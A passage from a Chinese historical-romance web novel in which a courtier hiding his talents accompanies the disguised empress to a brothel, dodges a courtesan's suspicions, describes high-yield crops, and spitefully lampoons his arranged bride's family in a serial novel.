他仿佛已经看到,未来的人气值将会如何井喷!
最主要的是,让自己不爽的人在话本里可是有原型的。
真期待他们看到自己的影子是什么表情!
退朝的钟声响起,百官心思各异地退出大殿。
江凡也松了口气,准备开溜。
“江起居郎。”女帝的声音淡淡传来。
江凡脚步一僵,苦着脸转身:
“臣在。”
萧璇月看着他那一脸‘我想下班’的表情,心中暗笑,面上却不动声色:
“今日天气甚好,朕有些乏了,想出去走走。你随朕一同。”
啊?江凡一愣,陪老板逛街?
这可比上班还累啊!
“陛下,这…宫外龙蛇混杂,恐有不妥…”
他试图挣扎一下。
“无妨,朕已安排妥当。”
萧璇月不容置疑,“云暮,去取两套常服来。”
片刻之后,萧璇月换上了一身宝蓝色锦缎男袍,头戴玉冠,腰束锦带,虽作男装打扮。
但眉目如画,肌肤胜雪,自有一股清贵逼人的气质,更像是个俊美无俦的世家公子。
江凡也换上了一身普通的青布长衫,看起来像个随行的清客或书童。
萧璇月对镜自照,又看了看换装后的江凡,似乎颇为满意。
她走到江凡面前,故意转了个圈,挑眉问道:
“如何?可还像样?”
江凡看着眼前这位‘翩翩佳公子’,下意识地脱口而出:
“陛下…呃,公子龙章凤姿,俊逸非凡,便是潘安宋玉在世,恐怕也要自愧弗如!”
这话倒有七分是真,女帝的容貌,即便是男装,也难掩其绝色。
说完他才意识到失言,连忙低下头:
“臣失言,陛下恕罪!”
萧璇月闻言,非但没有生气,反而眼中闪过一丝愉悦,嘴角微微上扬:
“无妨,出门在外,不必拘礼。走吧。”
说罢,便带着云暮和一脸懵逼的江凡,从一处僻静的宫门悄然出了皇城。
走在熙熙攘攘的京城街道上,呼吸着宫外自由的空气,江凡的心情稍微放松了些。
他忍不住好奇地问道:
“公子,咱们这是要去哪儿?”
萧璇月折扇轻摇,目光扫过街边繁华的店铺和往来的人流,语气带着一丝漫不经心:
“听闻京城有一处所在,名唤‘百花楼’,颇有趣味。今日,便去那里坐坐。”
“百…百花楼?!”
江凡脚下一个趔趄,差点当场表演平地摔!
他瞪大眼睛,难以置信地看着女帝…不,是女扮男装的‘萧公子’!
去青楼?!
陛下您这是什么癖好啊?!
您一个女儿身,还是九五之尊,跑去逛青楼?!
这要是传出去…
萧璇月将他震惊失措的表情尽收眼底,心中那股恶作剧得逞般的快意更浓了。
她凤眸微眯,带着戏谑的笑意:
“怎么?江…先生,莫非觉得那地方…去不得?”
江凡头皮发麻,冷汗都快下来了,支支吾吾道:
“这个…公子,那等地方…鱼龙混杂,终
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究…终究不是您这等身份该去的清静之地啊…”
他拼命想打消女帝这个疯狂的念头。
“清静?”萧璇月轻笑一声,
“朕…真觉得,那地方消息灵通,三教九流汇聚,反而能听到许多在宫里听不到的真话。何况…”
她意味深长地看了江凡一眼,
“听说那里最近出了一位了不得的‘萧遥’先生,笛艺超群,文采风流,朕倒是很想见识见识。”
“萧…萧遥?!”
江凡的心瞬间提到了嗓子眼!
原来是为了这个!
女帝是要亲自去百花楼偶遇逍遥公子吗?
看着江凡瞬间煞白的脸色和慌乱的眼神,萧璇月心中越发笃定。
她不再多说,折扇一合,率先朝着百花楼的方向走去。
到了百花楼门口,老鸨看到江凡大白天的跟着两位俊俏公子过来,明显愣了一下。
她刚想亲热打招呼,看到江凡拼命眨眼,于是连忙装作不认识的样子询问:
“三位公子,是要喝花酒还是...”
“给我们个上好的包间,好酒好菜送来。”
江凡尽可能简短介绍,希望不要引起女帝的注意。
萧璇月心中冷笑,刚刚老鸨脸色的变换尽收眼底。
既然江凡还要装正经,她有的是办法让他慢慢暴露。
“三位公子随我来。”
老鸨满脸堆笑,亲自引着他们上了三楼最为雅致僻静的‘揽月轩’。
她一边走,一边用眼角的余光飞快地扫过江凡,见他低眉顺眼、一副谨小慎微的模样,心中更是雪亮。
能让这位天不怕地不怕的国公府世子如此‘卑躬屈膝’的,旁边这两位‘公子’的身份,简直呼之欲出!
尤其是那位气质清贵绝伦的,虽作男装,但那通身的威仪和风华,绝非寻常王孙公子可比!
老鸨在风月场中摸爬滚打几十年,练就了一双火眼金睛,心中已然猜到了七八分,吓得后背冷汗涔涔,脸上笑容却愈发殷勤周到。
“三位公子请!这‘揽月轩’是咱们百花楼最好的包间,清静雅致,窗外便是后院花园,景致最好!”
第040章 香味很特别
老鸨推开雕花木门,一股淡淡的檀香混合着花香扑面而来。
房间布置得极为考究,琴棋书画俱全,熏香袅袅,果然是个谈话听曲的好去处。
“有劳妈妈了。”
萧璇月微微颔首,声音清越,自带一股不容置疑的气势。
她当先步入,很自然地在上首主位坐下。
云暮默不作声地侍立在她身后侧方。
江凡则像个鹌鹑一样,缩着脖子,磨蹭到最下首的位置坐下,恨不得把自己塞进墙角里。
老鸨连忙吩咐丫鬟端上最好的香茗和四色精致果点,赔着笑道:
“三位公子稍坐,若有中意的姑娘,老身这就去唤来伺候。”
萧璇月摆了摆手,目光却投向窗外,仿佛被隐约传来的笛声所吸引。
那笛声断续,正是《高山流水》的调子,只是吹奏之人似乎气息不稳,有几个高音处略显滞涩。
她唇角微勾,状似无意地看向坐立不安的江凡,问道:
“江…先生,你听这笛声如何?”
江凡心里正七上八下,闻言一个激灵,连忙抬头,挤出一个憨厚的笑容:
“啊?笛声?好听!挺好听的!”
他试图蒙混过关。
“哦?只是好听?”
萧璇月凤眸微转,带着一丝玩味,
“朕…真觉得,这曲子意境是好的,只是吹奏之人,火候似乎差了些许,高音处尤显力不从心。
江先生以前常来这种地方,想必耳濡目染,于音律一道,也该有些见解吧?难道听不出好坏?”
江凡心里骂娘,这是逼我表态啊!
说听不出,不符合‘纨绔常客’人设;说听得出,岂不是暴露自己懂音律?
他眼珠一转,决定折中一下,用最‘纨绔’的方式评价:
“这个…公子明鉴!臣…哦不,小的觉得吧,这曲子嘛,调子是那个调子,就是吹得…嗯…不够得劲!
软绵绵的,不如西街口王麻子吹的唢呐带劲儿!那家伙,一吹起来,十里八乡都听得见,红白喜事都找他,那才叫热闹!”
他这番粗鄙不堪的比喻,差点让一旁侍立的云暮笑出声来,赶紧低下头强忍住。
萧璇月也是听得嘴角微抽,没好气地瞪了他一眼:
“胡说八道!《高山流水》乃知音之曲,讲究的是意境高远,岂是市井唢呐可比?看来你以前来,光顾着喝酒看姑娘了,半点风雅没学到!”
江凡讪讪地低下头,心里却松了口气:
混过去了!纨绔人设保住了!
然而,萧璇月岂会轻易放过他?
她端起茶杯,轻轻吹了吹浮叶,慢条斯理地对老鸨吩咐道:
“妈妈,去将吹笛的那位姑娘请来。朕…真倒想见识见识,是何等佳人,在此苦练仙音。”
老鸨心里咯噔一下,偷偷瞄了江凡一眼,见江凡脸色瞬间发白,心中更是明了。
她不敢怠慢,连忙躬身应道:
“是是是,公子稍候,老身这就去请柳絮姑娘!”
说完,匆匆退了出去。
江凡一听‘柳絮’两个字,脑袋‘嗡’的一声,差点从椅子上滑下去!
怕什么来什么!
女帝这是要干嘛?
当面锣对面鼓吗?
他感觉自己的心脏都快跳出嗓子眼了,手心里全是冷汗。
早知道之前就不在柳絮面前用逍遥公子身份装逼了!
现在只能拼命低着头,心里默念:看不见我看不见我…
不一会儿,门外传来细碎的脚步声和环佩叮当之声。
门帘掀开,一身素雅白衣的柳絮,在老鸨的引领下,袅袅娜娜地走了进来。
“柳絮见过三位公子。”
她盈盈一拜,声音如**出谷,悦耳动听。
目光抬起,先是落在主位的萧璇月身上,眼中闪过一丝惊艳和诧异,好一位风采卓绝的公子!
随即又看向侍立一旁的云暮,最后,才落到几乎要把脑袋埋进桌子底下的江凡身上。
“这位是江公子。”
老鸨连忙介绍,语气带着一丝提醒。
柳絮对着江凡的方向,再次微微一福:
“柳絮见过江公子。”
江凡猛地抬起头,又飞快地低下,胡乱地摆了摆手,夹着嗓子,用一種刻意做出的疲惫的腔调说道:
“唔…免礼免礼!柳大
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家请坐!”
那声音怪异至极,连他自己听着都起鸡皮疙瘩。
柳絮秀眉微不可察地蹙了一下。
这位江世子她是知道的,京城有名的纨绔,往日里见到她,虽不敢太过放肆,但那眼神总带着几分令人不喜的打量。
今日怎地如此…怪异?
躲躲闪闪,声音也古怪得很。
她依言在下首坐了,将竹笛轻轻放在一旁的琴案上。
房间内一时间陷入了诡异的寂静。
萧璇月好整以暇地品着茶,云暮眼观鼻鼻观心,江凡如坐针毡,柳絮则心中疑惑,暗暗打量这奇怪的三人组合。
就在这时,一阵极淡的、若有若无的幽兰香气,随风飘入了柳絮的鼻尖。
这香气…她太熟悉了!
这是她独家调配的‘雪中幽兰’香,只用来熏染她送给‘萧遥’公子的那个香囊!
香气清冷中带着一丝甜媚,绝无二家!
她的心猛地一跳!
目光倏地再次投向对面那个低着头、恨不得钻进地缝里的江凡!
香气…是从他身上传来的!
虽然极其微弱,似乎被什么其他味道掩盖着,但她对自己的鼻子和独家配方有绝对的自信!
难道…柳絮的心中瞬间掀起了惊涛骇浪!
一个荒谬至极的念头不受控制地冒了出来:眼前这个猥琐缩脑的纨绔世子江凡,就是昨日那个才华横溢、气质温润的‘萧遥’公子?
就是她倾心仰慕的逍遥公子?
这怎么可能?
一个是臭名昭著、不学无术的国公府废物,一个是惊才绝艳、神秘莫测的文坛大家!
这简直是云泥之别!
可是…这独一无二的香气如何解释?
还有他那躲闪的眼神、怪异的声音…分明是心虚!
是怕被自己认出来!
柳絮的呼吸变得有些急促,她强压下心中的震撼,决定试探一下。
她端起茶杯,抿了一口,状似随意地轻笑道:
“江公子身上这香气…倒是特别。似是…幽兰之香,清雅别致,与寻常男子所用的熏香大不相同呢。”
她目光灼灼地看向江凡。
第041章 名字叫滤镜
江凡浑身一僵,冷汗‘唰’地就下来了!
这女人的鼻子是属狗的吗?
鬼知道女帝会心血来潮,带自己来百花楼啊!
要不然自己打死也不会带着香囊,现在怎么办?
他心中叫苦不迭,脑子飞速旋转,必须找个合理的借口!
一个符合他‘纨绔’人设的、能让女帝厌恶的借口!
他猛地抬起头,脸上挤出一个猥琐轻浮的笑容,故意用那种吊儿郎当的腔调说道:
“柳大家好灵的鼻子!嘿嘿,不瞒你说,这是我家那个新来的小丫鬟身上的味儿!那丫头,啧啧,身段好,皮肤滑,晚上伺候人的功夫更是一流!
就喜欢用这种香喷喷的东西,蹭得本公子一身都是!没办法,谁让本公子就好这一口呢!哈哈哈哈!”
他说得唾沫横飞,还配合着擦了擦嘴角,活脱脱一个沉溺酒色的登徒子模样。
他这番话,既是解释香气的来源,更是故意自污,希望女帝听后龙颜大怒,觉得自己不堪大用,直接罢官了事!
他甚至偷偷用眼角余光瞥了女帝一下,期待看到她脸上露出厌恶的表情。
然而,萧璇月听完,非但没有动怒,反而眼中闪过一丝古怪的笑意,她放下茶杯,语气平淡:
“哦?江公子倒是…雅兴不浅。不过,年轻人还是要知道节制,莫要贪欢过度,伤了身子根基。”
那语气,不像训斥,倒像是长辈对顽劣晚辈的无奈叮嘱。
江凡:“……”
我特么…
他感觉自己一拳又打在了棉花上,差点憋出内伤!
这女帝怎么不按套路出牌啊!
我都说自己夜夜笙歌、荒淫无度了,你倒是生气啊!
罢我的官啊!
柳絮在一旁,将江凡那番表演和女帝的反应尽收眼底。
江凡的解释,听起来合情合理,符合他纨绔的人设。
但…不知为何,她总觉得哪里不对劲。
那香气虽然淡,却似乎是从他衣襟内里透出,更像是贴身佩戴香囊所致,而非丫鬟沾染。
而且,他解释时的眼神,虽然努力做出轻浮,却总有一丝慌乱。
更重要的是,他故意做出猥琐之态,但那双眼睛的形状、那瞳孔的颜色…
与那位‘萧遥’公子,竟有**分相似!
只是眼神中的神采,一个深邃睿智,一个浑浊颓废,天差地别!
但…如果这颓废和浑浊是装出来的呢?
这个念头一旦生出,便疯狂滋长!
一个让她自己都感到难以置信的真相,似乎正缓缓浮出水面!
难道…逍遥公子,真的就是这个被全京城唾弃的纨绔世子江凡?
他一直在伪装?
他拥有绝世才华,却甘愿背负骂名,藏身于市井青楼之中,以这种匪夷所思的方式,暗中影响朝局,济世安民?
这个猜想太过惊世骇俗,太过颠覆认知!
柳絮感觉自己的心跳得厉害,几乎要窒息了!
她看向江凡的眼神,充满了复杂!
如果这是真的,那这位江世子,该是何等惊才绝艳、又何等隐忍坚韧的奇男子啊!
雅间内,气氛微妙。
萧璇月将目光转向柳絮放在琴案上的竹笛,悠然开口,打破了略显凝滞的气氛:
“早闻柳大家琴艺超绝,今日偶闻笛声,亦是不凡。不知可否赏光,为我等再奏一曲《高山流水》,也让我这不通音律的随从(她指了指江凡)开开眼界?”
柳絮连忙收敛心神,盈盈一拜:
“公子过奖了,雕虫小技,恐污尊耳。既然公子有命,柳絮献丑了。”
她走到琴案前,净手焚香,姿态优雅。
片刻后,淙淘琴音响起,正是那曲《高山流水》。
不得不说,柳絮在音律上的天赋极高,加之连日苦练,此番演奏比起昨日又有精进,琴音清越,意境空灵,已颇具几分神韵。
连故意装聋作哑的江凡,凭借大宗师级的乐理知识,也暗自点头:
这女人,确实有两把刷子,比昨天进步不小。
一曲终了,余音袅袅。
柳絮轻轻按住琴弦,美眸含着一丝期待,率先望向江凡,声音柔媚:
“江公子,不知柳絮此番演奏,可还入耳?”
她存了试探之心,想看看这‘纨绔’如何评价。
江凡赶紧摆摆手,做出粗鄙不堪的样子:
“哎呀呀!柳大家你
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这可问倒我了!我这个人啊,就会听个响儿!热闹就行!刚才这曲子,叮叮咚咚的,挺好听!
比街边卖唱的好听多了!具体哪儿好,我可说不上来!您还是让这位…萧公子点评吧!”
他熟练地把皮球踢给了女帝。
萧璇月心中暗笑,这小子装傻充愣的本事真是登峰造极。
即使这家伙不是逍遥公子,但之前在雅间展示的文采,音律水平,还有身手,都不是纨绔能拥有的。
她也不点破,微微颔首,语气平和:
“柳大家琴艺精湛,此曲意境把握已得七八分真味,尤其后半段,水流湍急之势,已有奔腾之意,难得。假以时日,必成大家。”
这番点评,可谓极其精准且给予了高度评价。
柳絮闻言,她连忙谦逊道:
“公子谬赞了!柳絮这点微末技艺,与真正的大家相比,犹如萤火之于皓月。尤其是…与昨日有幸得见的那位‘逍遥公子’相比,更是云泥之别了。”
她说到‘逍遥公子’四个字时,声音不自觉地带上了几分激动和仰慕,目光下意识地又瞟了江凡一眼。
江凡听得头皮发麻,赶紧低下头,生怕自己露出破绽。
心中也忍不住吐槽:这女人怎么回事?难道发现什么了?
应该不会,自己昨天适应的是高级易容术,老鸨猜到,但绝对不敢暴露自己才对。
“哦?逍遥公子?”
萧璇月恰到好处地露出感兴趣的神色,
“柳大家见过那位神秘的逍遥公子?”
“是!”柳絮顿时来了精神,美眸放光,仿佛找到了知音,
“昨日午后,那位公子便是在这百花楼,以一支竹笛,演奏此曲!笛声一出,宛若仙音,令满楼皆惊!
其人更是玉树临风,风流倜傥,谈吐不凡,学识渊博!实乃柳絮生平仅见之奇男子!”
她毫不吝啬赞美之词,将‘萧遥’夸得天上有地下无。
江凡在下面听得面红耳赤,脚趾头都快抠出三室一厅了!
玉树临风?风流倜傥?
我昨天易容成那个普通中年书生模样,跟这八个字有半文钱关系吗?
女人啊,你的名字叫滤镜!
第042章 能否画出来
萧璇月将江凡那副窘态尽收眼底,心中好笑,故意追问道:
“是吗?听柳大家如此描述,朕…真倒是好奇了。却不知,那位逍遥公子,相貌如何?比之我这位随从如何?”
她指了指恨不得把自己缩成一团的江凡。
柳絮闻言,仔细看了看江凡,很认真地摇了摇头:
“公子说笑了。那位逍遥公子之风姿气度,岂是…岂是凡俗之辈可比?”
她到底留了几分面子,没直接说江凡比不上。
江凡心里狂翻白眼:对对对,我是凡俗之辈,我庸俗,我猥琐,求放过!
萧璇月见火候差不多了,便不再深究。
又与柳絮闲聊了几句诗词歌赋,柳絮对答如流,显是下了苦功。
约莫一炷香后,柳絮便识趣地起身告退。
临走前,她又深深看了江凡一眼,那眼神复杂难明。
柳絮一走,雅间内只剩下三人。
江凡刚松了口气,以为折磨结束,就听到女帝的声音再次响起,这次的问题更是石破天惊!
“江凡,”萧璇月直接唤了他的名字,凤眸斜睨着他,带着一丝戏谑,
“你觉得…这位柳絮姑娘如何?可还入得你的眼?”
江凡心里一紧,问这个做什么?
他赶紧打起十二分精神,继续扮演好色纨绔,搓着手,露出一个猥琐笑容:
“嘿嘿,陛下…啊不,公子明鉴!柳大家这等绝色,是个正常男人看了都喜欢!臣…小的自然也不例外!不过…”
他话锋一转,故作沮丧地叹了口气,
“只是这个女人,心气儿太高了!眼里只有逍遥公子那种大才子!小的我文不成武不就,就是个混吃等死的纨绔。
我有自知之明,远远欣赏一下就好,可不敢有什么非分之想!免得自取其辱!”
他这番自黑,可谓是狠辣至极。
萧璇月闻言,眼中笑意更深,忽然身子微微前倾,靠近江凡,用只有两人能听清的音量,轻声问道:
“哦?正常男人看到美女都会有想法?那你觉得…朕,算美女吗?”
嗡——!
江凡感觉自己的脑袋瞬间一片空白!
他猛地抬头,对上女帝那双近在咫尺的凤眸,心脏差点从嗓子眼里跳出来!
这…这什么问题?
这是臣子能回答的吗?
说不是?欺君之罪!
说是?
那你刚才说正常男人对美女都有想法,你对女帝有想法?
更是大不敬!
掉脑袋的大罪啊!
他声音都变了调,带着哭腔:
“陛下!陛下恕罪!臣…臣不敢!陛下天姿国色,风华绝代,乃九五之尊,真龙天子!臣对陛下只有…
只有滔滔江水般的敬仰!如同仰望日月星辰!绝无半分…半分亵渎之念!臣该死!臣失言!”
他磕磕绊绊的说完,也不知道女帝究竟想听什么。
看着他哭丧着脸的表情,萧璇月终于忍不住,‘噗嗤’一声笑了出来。
连一旁始终面无表情的云暮,嘴角都微微抽动了一下。
“瞧你这点出息,朕又不会**。”
萧璇月坐直身子,语气带着几分戏谑,
“朕不过随口一问,看把你吓的。看来你这‘正常男人’的标准,在朕这里不适用?”
江凡如蒙大赦,抹了把额头的冷汗,心里把女帝骂了一万遍:随口一问?
您这是随口要我命啊!
萧璇月也不再逗他,转而将话题引向了另一个方向:
“说起来,近日朕翻阅奏章,各地呈报,今夏少雨,恐有旱情。若真如此,秋粮减产,百姓生计艰难,朝廷税收亦受影响,着实令人忧心。”
她一边说,一边用眼角的余光观察着江凡。
果然,提到民生疾苦,尤其是粮食问题,江凡眉头不自觉地微微蹙起,眼神中闪过一丝思索之色。
虽然很快又恢复了那副‘事不关己’的麻木样子,但那一瞬间的专注,并未逃过萧璇月的眼睛。
有戏!
萧璇月心中一动,继续用忧国忧民的语气叹息道:
“民以食为天。若能有一种作物,不挑地方,产量极高,耐旱耐瘠,那该多好…可惜,世间哪有这等神物?”
怎么没有?
一个念头划过江凡的脑海!
土豆!红薯!玉米!
这些在前世被称为‘救命粮’的高产作物,这个世界难道没有吗?
他拥有系统商城,理论上可以兑换种子!
但…直接拿出来太扎眼了,容易暴露。
不如…
他眼珠一转,故意做出努力回忆的样子,挠着头道:
“陛下…呃,公子这么一说,小的好像…好像在哪本杂书上看过…记不清了,可能是《山海异志》还是什么…上
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面提到过几种海外奇物…”
萧璇月凤眸一亮,身体微微前倾:
“哦?什么奇物?仔细说说!”
江凡见女帝上钩,心中暗喜,继续用不确定的语气描述道:
“好像…有一种叫‘土芋’还是‘马铃薯’的,埋在地里就能长,一株能结好几斤,不挑地,坡地旱地都能种…
还有一种叫‘甘薯’的,藤蔓能长很长,块茎又甜又顶饿,亩产听说能有好几千斤…还有种‘玉蜀黍’,杆子高高的,结的棒子能当粮食…”
他尽量用这个时代能理解的词语,将土豆、红薯、玉米的特征和逆天的产量描述出来。
虽然说得磕磕绊绊,但关键信息一点没漏。
萧璇月越听,呼吸越是急促!
作为一国之君,她太清楚这意味着什么了!
若真有如此神物,大夏将再无饥馑之忧!
国力必将迎来前所未有的强盛!
“此言当真?!那杂书何在?!”
她激动地追问。
江凡两手一摊,做出无奈的样子:
“早就不知道扔哪儿去了…可能是我小时候在哪个旧书摊上淘的,当时就当故事看,也没在意…现在想想,也不知道是真是假…”
他把纨绔人设贯彻到底。
萧璇月虽然心中激动,但并未失去理智。
她深吸一口气,强迫自己冷静下来。
无论真假,这都是一线希望!
她目光灼灼地盯着江凡:
“你可还记得那几种作物的模样?能否画出来?”
画画?
江凡面上却故作迟疑:
“这个…小的画工拙劣,只怕…”
“无妨!大致画出形状即可!”
萧璇月命云暮取来纸笔。
江凡接过笔,蘸饱墨,略一沉吟,便手腕转动,在宣纸上勾勒起来。
他虽然刻意收敛了笔力,但宗师级的功底犹在。
不过寥寥数笔,土豆那圆滚滚带着芽眼的块茎、红薯那纺锤形的模样、玉米那带着苞叶的棒子形象便跃然纸上,虽无色彩,却形态逼真,特征鲜明!
萧璇月看着那栩栩如生的画作,瞳孔微缩!
这画工…简洁传神,与她珍藏的几幅前朝名家小品相比,也不遑多让!
回想起《深宫秘恋》里的插话水平...
她再次深深看了江凡一眼,心中那个答案几乎呼之欲出!
第043章 让你们扬名
她强压住翻腾的心绪,小心翼翼地将画纸拿起,对云暮吩咐道:
“立刻找最好的画师临摹百份!下发各州府,尤其是市舶司和往来海商,悬赏重金,全力搜寻此三种作物!无论真假,不惜一切代价!”
“是!”云暮郑重接过画纸,快步离去。
江凡看着女帝雷厉风行的样子,心里也松了口气。
种子撒出去了,能不能发芽,就看天意了。
至少,他尽力了。
萧璇月看着江凡,目光复杂。
这家伙,就像个无穷无尽的宝藏,每次觉得摸到底了,又能掏出让人惊喜的东西。
诗词歌赋、治国安邦、甚至这农桑之事…他到底还有多少秘密?
她压下追问的冲动,知道逼得太紧反而不好。
今日收获已然巨大。
她站起身,淡淡道:
“时辰不早,该回了。”
江凡巴不得这一声,连忙躬身:
“是,公子!”
三人离开百花楼,融入熙攘的人流。
柳絮凭窗而立,望着三人消失的方向,秀眉紧锁。
那个纨绔世子江凡…香囊的气味,相似的眼眸……
逍遥公子,真的会是那个看似一无是处的镇国公世子,江凡吗?
这个念头,让她心潮澎湃,难以平静。
回到镇国公府,江凡感觉身心疲惫。
陪女帝微服私访逛青楼,还要维持自己的‘纨绔’马甲,这活儿真不是人干的!
他现在只想立刻扑回自己的房间,锁上门,美美地数一数今天又涨了多少人气值,然后兑换点好东西犒劳自己。
然而,他一只脚刚踏进前厅,就感觉气氛不对。
老爹江撼岳端坐在太师椅上,面色不像往日那般严厉,反而带着一种…嗯,诡异的笑容。
姐姐江芷兰坐在下首,正低头绣着什么东西,嘴角也噙着一抹戏谑的笑意。
“回来了?”
江撼岳的声音难得的平和。
江凡心里咯噔一下,有种不祥的预感。
他小心翼翼地应道:
“是,爹,姐姐,我回来了。”
“嗯,”江撼岳捋了捋短须,目光在儿子身上打量了一番,似乎颇为满意他近日的‘安分守己’,
“凡儿啊,你近日在陛下身边当差,虽说只是个起居郎,但也算走上了正途。为父看在眼里,甚是欣慰。”
江凡受宠若惊,连忙谦虚:
“爹您过奖了,儿子就是混日子,不敢给您丢脸。”
心里却嘀咕:老爹今天吃错药了?
这么和颜悦色?
果然,下一句,江撼岳就图穷匕见:
“男大当婚,女大当嫁。你如今也算有了份正经差事,年纪也不小了,是该考虑成家立业,为我江家延续香火了。”
轰!
江凡瞬间僵在原地,眼睛瞪得溜圆!
成…成家?
娶媳妇?
开什么国际玩笑!
他现在的首要任务是苟住发育,赚足人气值,提升实力,争取早日成为可以横着走的绝世高手!
娶个老婆回来,天天管东管西,还怎么半夜偷偷写《深宫秘恋》赚人气值?
万一暴露了系统秘密怎么办?
这简直是自毁长城啊!
“爹!不行!绝对不行!”
江凡想都没想,脱口而出,
“儿子还小!还没玩够呢!再说…再说我现在要专心当差,报效陛下,哪有心思成家啊!”
他赶紧把‘报效陛下’这面大旗扯出来。
“胡闹!”
江撼岳脸色一沉,刚才那点和颜悦色瞬间消失无踪,恢复了往日的威严,
“什么叫还小?京城里跟你一般大的世家子弟,哪个不是妻妾成群,孩子都会跑了?什么叫没玩够?
你还想去哪里鬼混?陛下对你寄予厚望,你成了家,收了心,才能更好地为陛下效力!此事由不得你任性!”
“可是爹…”江凡还想垂死挣扎。
“没有可是!”江撼岳斩钉截铁,
“为父已经替你相看好了人家!吏部考功清吏司主事,周文正周大人的嫡女,周婉茹小姐!
周大人为官清正,家风严谨,周小姐更是知书达理,贤良淑德!这门亲事,再合适不过!”
周文正?周婉茹?
江凡脑子里飞快搜索,好像有点印象,是个口碑不错的中层官员,他女儿…完全没印象!
但不管是谁,他现在都不想娶!
“爹!我…我都不认识那周小姐!这…这盲婚哑嫁的,万一
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不合呢?”
江凡试图讲道理。
“父母之命,媒妁之言!天经地义!”
江撼岳根本不吃这套,
“合不合,相处久了自然知道!明日散朝后,周大人会携女过府做客,届时你二人见上一面!
你给我好好表现,若是敢怠慢,或是存心捣乱,看老子不打断你的腿!”
江凡一听,顿时蔫了。
老爹这是铁了心啊!
他求助的目光投向姐姐江芷兰:
“姐…你帮我说句话啊!”
江芷兰放下手中的绣活,抬起眼,看着弟弟那副如丧考妣的样子,忍不住‘噗嗤’一笑,柔声道:
“凡儿,爹也是为了你好。那周家妹妹,姐姐也曾见过几次,确实是个温婉可人的好姑娘。
你成了家,有了牵挂,也能收收心,爹和姐姐也就放心了。总不能…一直这么晃荡下去吧?”
她话语温柔,却立场坚定地站在了父亲一边。
江凡看着姐姐的笑容,心里哇凉哇凉的。
完了!家庭统一战线形成了!
自己这是孤立无援啊!
他哭丧着脸,还想做最后努力:
“那…那明天我还要当值呢!陛下那边…”
“放心!”江撼岳大手一挥,
“陛下日理万机,区区一个起居郎请假半日,无妨大局!你明日散朝后,立刻给我回府!听到没有!”
最后一丝希望破灭!
江凡耷拉着脑袋,有气无力地应道:
“…听到了。”
“滚回你的院子去!好好想想明天该怎么说话!”
江撼岳不耐烦地挥挥手。
江凡如蒙大赦,赶紧溜之大吉。
回到听雨轩,他反手锁上门,气得在房间里直转圈!
相亲?
见鬼的相亲!
这不是耽误我赚取人气值吗?
那个什么周主事,一听就是个想巴结他爹、攀附国公府的小官!
还有那个周小姐,谁知道是不是个矫揉造作的大家闺秀?
烦**!
他越想越气,一股邪火没处发泄。
忽然,他眼珠一转:你不是逼我相亲吗?
你不是想攀高枝吗?
好!
小爷我先在书里给你们父女俩‘扬扬名’!
第044章 准你半日假
他立刻扑到书桌前,铺开纸张,带着满满的恶意倾泻而出!
在《深宫秘恋》的最新章节里,他精心构思了一个新的反派配角——
‘周扒皮’主事!
此人被描绘成一个阿谀奉承、钻营拍马、一心只想靠嫁女儿巴结权贵的小人形象!
而他的女儿‘周无颜’,则被刻画成一个相貌奇丑、体态臃肿、性格刁蛮、还特别贪吃的蠢货!
书中极尽夸张之能事,描写‘周无颜’如何见到美食就走不动路,如何因为贪吃闹出各种笑话。
如何癞**想吃天鹅肉般痴缠书中一位英俊的公子,令人作呕!
他写得酣畅淋漓,把自己对包办婚姻的愤懑和对未知‘未婚妻’的恶意揣测,全都倾注到了笔端。
写完通读一遍,只觉得神清气爽,胸中恶气尽出!
“哼!让你们逼我!先恶心恶心你们!”
江凡得意地想着,仿佛已经看到了周家父女看到这话本后气急败坏的模样。
他熟练地将稿件提交给系统。
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(1000份),投放至京城及周边区域…投放中…】
看着人气值再次跳动上涨,江凡的心情总算好了点。
他吹熄灯火,躺在床上沉沉睡去。
……
翌日,早朝。
江凡无精打采地站在老位置,心里盘算着一会儿怎么跟女帝请假。
一想到要回去面对那个素未谋面的‘未婚妻’,他就觉得浑身不得劲。
朝会依旧围绕着西凉边患、国库空虚等老生常谈的问题,大臣们争论不休,却拿不出什么立竿见影的新办法。
萧璇月端**,听着底下的争吵,目光偶尔扫过御案一角——
那里,放着暗卫凌晨送来的、还带着墨香的《深宫秘恋》最新章节。
她趁着间隙,快速翻阅了一下。
当看到那个新出场的、极力巴结权贵、女儿奇丑贪吃的‘周扒皮’主事时,她凤眸中闪过一丝极其古怪的笑意。
这一看就是周文正、周大人啊!
目光若有若无地瞟了一眼下面那个魂不守舍的江凡。
也不知道父女两人怎么得罪江凡了,竟然变成了丑角。
她自然知道吏部考功清吏司主事周文正是何人。
那是个勤恳务实、风评颇佳的中层官员,虽然有些古板,但绝不是什么钻营小人。
他的女儿周婉茹,她也略有耳闻,据说容貌清秀,性情温和,还时常跟着母亲施粥赈济贫苦,是个善良的好姑娘。
这江凡,竟然在书里把人家父女丑化到如此地步!
好不容易熬到退朝,江凡磨磨蹭蹭地等到百官散去,这才硬着头皮,蹭到御阶前,躬身行礼:
“陛下…臣…臣今日家中有些琐事,想…想告假半日,恳请陛下恩准。”
萧璇月早就等着他呢,闻言放下朱笔问道:
“哦?江爱卿家中何事?莫非是镇国公身体不适?”
江凡连忙摆手,声音讷讷:
“不不不,家父安好。是…是些私事,些许…些许家务,需臣回去一趟。”
他实在不好意思当着女帝的面说‘我要回去相亲’。
萧璇月看着他这副扭捏窘迫的模样,心中已经猜到大概。
她拖长了音调,慢悠悠地道:
“哦——家务事啊…”
仿佛在细细品味这几个字。
江凡被她这语气弄得心里发毛,头皮一阵发麻,只能硬着头皮应道:
“是…是,一点小事,不敢劳烦陛下挂心。”
“既是家务事,朕也不便多问。”
萧璇月看似大度地摆了摆手,“你且去吧,准你半日假。”
“臣谢陛下恩典!臣告退!”
江凡如蒙大赦,行了个礼,转身冲出了御书房。
望着他仓皇消失的背影,萧璇月终于低低地笑出声来。
一旁的云暮也掩嘴轻笑,低声道:
“陛下,江世子怕是要回去相亲,看他的模样,好像很抵触?”
萧璇月止住笑,凤眸中闪烁光芒,悠然道:
“这小子,做贼心虚的模样,倒是比他那副纨绔嘴脸有趣得多。换谁身上有这么多秘密,也不想太早成亲,避免暴露啊!”
她拿起
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御案上那本话本,轻轻摩挲着书页,自语道:
“周文正此人,朕是知道的,是个老实人,他女儿婉茹,性子柔善,时常在京郊粥棚施粥,颇有名声。
被他这么一写…呵呵,朕倒要看看,等周爱卿知晓此事,会是个什么表情。”
